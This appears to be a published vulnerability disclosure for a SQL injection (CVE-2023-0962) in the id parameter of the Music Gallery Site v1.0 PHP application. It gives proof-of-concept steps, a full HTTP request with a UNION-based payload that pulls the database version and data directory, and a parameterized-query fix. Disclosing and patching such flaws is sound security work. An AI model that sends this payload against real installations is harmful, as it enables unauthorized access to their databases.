Music Gallery Site v1.0 - SQL Injection on page Master.php

# Exploit Title:  Music Gallery Site v1.0 - SQL Injection on page Master.php
# Exploit Author: Muhammad Navaid Zafar Ansari
# Date: 21 February 2023

### CVE Assigned:
**[CVE-2023-0962](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0962)** [mitre.org](https://www.cve.org/CVERecord?id=CVE-2023-0962) [nvd.nist.org](https://nvd.nist.gov/vuln/detail/CVE-2023-0962)

### Vendor Homepage:
> https://www.sourcecodester.com
### Software Link:
> [Music Gallery Site](https://www.sourcecodester.com/php/16073/music-gallery-site-using-php-and-mysql-database-free-source-code.html)
### Version:
> v 1.0

# Tested on: Windows 11

### SQL Injection
> SQL Injection is a type of vulnerability in web applications that allows an attacker to execute unauthorized SQL queries on the database by exploiting the application's failure to properly validate user input. The attacker can use this vulnerability to bypass the security measures put in place by the application, allowing them to access or modify sensitive data, or even take control of the entire system. SQL Injection attacks can have severe consequences, including data loss, financial loss, reputational damage, and legal liability. To prevent SQL Injection attacks, developers should properly sanitize and validate all user input, and implement strong security measures, such as input validation, output encoding, parameterized queries, and access controls. Users should also be aware of the risks of SQL Injection attacks and take appropriate measures to protect their data.
# Vulnerable URL:
> URL: php-music/classes/Master.php?f=get_music_details&id=*
### Affected Page:
> Master.php
> On this page, there is "get_music_details" in that id parameter is vulnerable to SQL Injection Attack
> URL of the vulnerable parameter is: php-music/classes/Master.php?f=get_music_details&id=*
### Description:
> The Music Gallery site does have public pages for music library. Whenever someone click on play button any music the popup will appear on the same page. However, on backend server calls the file Master.php, in that file "get_music_details" is running the music and this function Get id parameter is vulnerable to SQL Injection.
### Proof of Concept:
> Following steps are involved:
1. Go to the music list and click on play button of any music.
2. intercept the traffic through burp and get the actual URL
3. In URL, there is a parameter 'id' which is vulnerable to SQL injection (Master.php?f=get_music_details&id=1*)
### Request:
```
GET /php-music/classes/Master.php?f=get_music_details&id=1%27+and+false+union+select+1,version(),@@datadir,4,5,6,7,8,9,10,11--+- HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=a5fd11866a86264db3a68bb1817b2c7f
Connection: close

```
### Response:
![image](https://user-images.githubusercontent.com/123810418/220339548-20e31f82-cab4-4732-8cf7-8a146c2c1d5b.png)

### Recommendation:
> Whoever uses this CMS, should update the code of the application in to parameterized queries to avoid SQL Injection attack:
```
Example Code: 
$sql = $obj_admin->db->prepare("SELECT * FROM `music_list` where `id` = :id");
$sql->bindparam(':id', $id);
$sql->execute();
$row = $sql->fetch(PDO::FETCH_ASSOC);
```
Thank you for reading